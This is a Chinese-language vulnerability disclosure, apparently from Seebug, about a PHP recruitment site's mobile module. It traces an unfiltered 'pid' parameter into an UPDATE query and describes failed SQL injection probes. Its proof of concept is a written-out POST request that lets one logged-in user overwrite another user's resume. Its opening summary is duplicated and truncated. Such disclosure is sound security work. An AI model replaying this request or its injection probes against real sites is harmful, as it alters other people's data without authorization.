### 简要描述： 权限控制不严格 ### 详细说明： wap/pwersonal/wap_user.php中 判断是否登录的代码如下 ``` if (intval($_SESSION['uid'])=='' || $_SESSION['username']==''||intval($_SESSION['utype'])==1) { header("Location: ../wap_login.php"); //如未登录则跳转,若登录则elseif语句 } elseif ($act == 'index') { $smarty->cache = false; $user=wap_get_user_info(intval($_SESSION['uid'])); $smarty->assign('user',$user); $resume_info=get_userprofile(intval($_SESSION['uid'])); if(empty($resume_info)) { header("Location: ?act=make_resume"); } else { $resume_info['age']=date("Y")-$resume_info['birthday']; $smarty->assign('resume_info',$resume_info); $smarty->display("wap/personal/wap-user-personal-index.html"); } } ``` /wap/pwersonal/wap_user.php中 ``` elseif($act == "resume_jobs_save") { $smarty->cache = false; $_POST=array_map("utf8_to_gbk",$_POST); $setsqlarr['intention_jobs']=trim($_POST['intention_jobs'])?trim($_POST['intention_jobs']):exit("请选择期望职位");...
### 简要描述： 权限控制不严格 ### 详细说明： wap/pwersonal/wap_user.php中 判断是否登录的代码如下 ``` if (intval($_SESSION['uid'])=='' || $_SESSION['username']==''||intval($_SESSION['utype'])==1) { header("Location: ../wap_login.php"); //如未登录则跳转,若登录则elseif语句 } elseif ($act == 'index') { $smarty->cache = false; $user=wap_get_user_info(intval($_SESSION['uid'])); $smarty->assign('user',$user); $resume_info=get_userprofile(intval($_SESSION['uid'])); if(empty($resume_info)) { header("Location: ?act=make_resume"); } else { $resume_info['age']=date("Y")-$resume_info['birthday']; $smarty->assign('resume_info',$resume_info); $smarty->display("wap/personal/wap-user-personal-index.html"); } } ``` /wap/pwersonal/wap_user.php中 ``` elseif($act == "resume_jobs_save") { $smarty->cache = false; $_POST=array_map("utf8_to_gbk",$_POST); $setsqlarr['intention_jobs']=trim($_POST['intention_jobs'])?trim($_POST['intention_jobs']):exit("请选择期望职位"); $_POST['intention_jobs_id']=trim($_POST['intention_jobs_id'])?trim($_POST['intention_jobs_id']):exit("请选择期望职位"); $setsqlarr['wage']=trim($_POST['wage'])?trim($_POST['wage']):exit("请选择期望薪资"); $setsqlarr['wage_cn']=trim($_POST['wage_cn'])?trim($_POST['wage_cn']):exit("请选择期望薪资"); $setsqlarr['nature']=trim($_POST['nature'])?trim($_POST['nature']):exit("请选择期望工作性质"); $setsqlarr['nature_cn']=trim($_POST['nature_cn'])?trim($_POST['nature_cn']):exit("请选择期望工作性质"); $setsqlarr['trade']=trim($_POST['trade'])?trim($_POST['trade']):exit("请选择期望行业"); $setsqlarr['trade_cn']=trim($_POST['trade_cn'])?trim($_POST['trade_cn']):exit("请选择期望行业"); $setsqlarr['district_cn']=trim($_POST['district_cn'])?trim($_POST['district_cn']):exit("请选择期望工作地区"); $setsqlarr['district']=trim($_POST['district']); $setsqlarr['sdistrict']=trim($_POST['sdistrict']); if(!updatetable(table('resume'),$setsqlarr," id=$_POST[pid] "))exit("err"); //pid未过滤跟入 if(!wap_add_resume_jobs(intval($_POST['pid']),intval($_SESSION['uid']),intval($_POST['intention_jobs_id'])))exit('err'); if(!wap_add_resume_trade(intval($_POST['pid']),intval($_SESSION['uid']),intval($setsqlarr['trade'])))exit('err'); exit("ok"); } ``` 函数updatetable()如下 ``` function updatetable($tablename, $setsqlarr, $wheresqlarr, $silent=0) { post[pid]对应$wheresqlarr global $db; $setsql = $comma = ''; foreach ($setsqlarr as $set_key => $set_value) { if(is_array($set_value)) { $setsql .= $comma.'`'.$set_key.'`'.'=\''.$set_value[0].'\''; } else { $setsql .= $comma.'`'.$set_key.'`'.'=\''.$set_value.'\''; } $comma = ', '; } $where = $comma = ''; if(empty($wheresqlarr)) { $where = '1'; } elseif(is_array($wheresqlarr)) { foreach ($wheresqlarr as $key => $value) { $where .= $comma.'`'.$key.'`'.'=\''.$value.'\''; $comma = ' AND '; } } else { $where = $wheresqlarr; //如果$wheresqlarr不为数组，则到此 } return $db->query("UPDATE ".($tablename)." SET ".$setsql." WHERE ".$where, $silent?"SILENT":""); //进入数据库查询 } ``` 查看qeury函数如下 ``` function query($sql){ if(!$query=@mysql_query($sql, $this->linkid)){ $this->dbshow("Query error:$sql"); //跟入 }else{ return $query; } } ``` dbshow函数如下 ``` function dbshow($err) { if($err){ $info = "Error：".$err;//数据库不报错 }else{ $info = "Errno：".$this->errno()." Error：".$this->error(); } //exit($info); exit("数据库错误,请联系网站管理员！"); } ``` 本来想注入，无奈过过滤很多条件但是当and 1=2的时候语句执行成功，如下 [<img src="https://images.seebug.org/upload/201412/301626518ccffe331fe6133376d2712c59360915.jpg" alt="12.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/301626518ccffe331fe6133376d2712c59360915.jpg) 报错语句倒是可以的 [<img src="https://images.seebug.org/upload/201412/30162804c87f33be596d9a95f76201a57b5c3bb5.jpg" alt="23.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/30162804c87f33be596d9a95f76201a57b5c3bb5.jpg) 综上两条，说明and 后边的语句是执行的，但是无论where后边的语句 true 或者false 都跟前边没有关系，所以盲注都搞不定，又因为全局文件过滤了select,update等语句所以没啥办法进行update等操作，最后只能修改简历了。 不知道各位有啥好思路，欢迎拍砖。 ### 漏洞证明： 注册两个用户A,B各自创建简历 POST数据如下 ``` intention_jobs=a&intention_jobs_id=1&wage=2000&wage_cn=2000&nature=b&nature_cn=b&trade=c&trade_cn=c&district_cn=d&district=s&sdistrict=as&pid=** ``` 此处的pid根据情况决定,其实pid值就是数据表中qs_resume中简历的id URL如下 ``` localhost/741225https://images.seebug.org/upload/wap/personal/wap_user.php?act=resume_jobs_save ``` 本地数据库操作语句为 ``` UPDATE qs_resume SET `intention_jobs`='a', `wage`='2000', `wage_cn`='2000', `nature`='b', `nature_cn`='b', `trade`='c', `trade_cn`='c', `district_cn`='d', `district`='s', `sdistrict`='as' WHERE id=1 ``` DEMO演示如下 如下图A用户创建简历如下 [<img src="https://images.seebug.org/upload/201412/301649270cc9122a1fc4ba950b6fe87aa80581ad.jpg" alt="34.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/301649270cc9122a1fc4ba950b6fe87aa80581ad.jpg) 然后登录B用户，修改其简历 [<img src="https://images.seebug.org/upload/201412/30165028111f982f49b4e808d143960651ee42f6.jpg" alt="56.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/30165028111f982f49b4e808d143960651ee42f6.jpg) A刷新自己的简历后的效果如下 [<img src="https://images.seebug.org/upload/201412/3016510902839dbed0c82bd8b4e6175ce9ef0f8a.jpg" alt="78.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/3016510902839dbed0c82bd8b4e6175ce9ef0f8a.jpg)
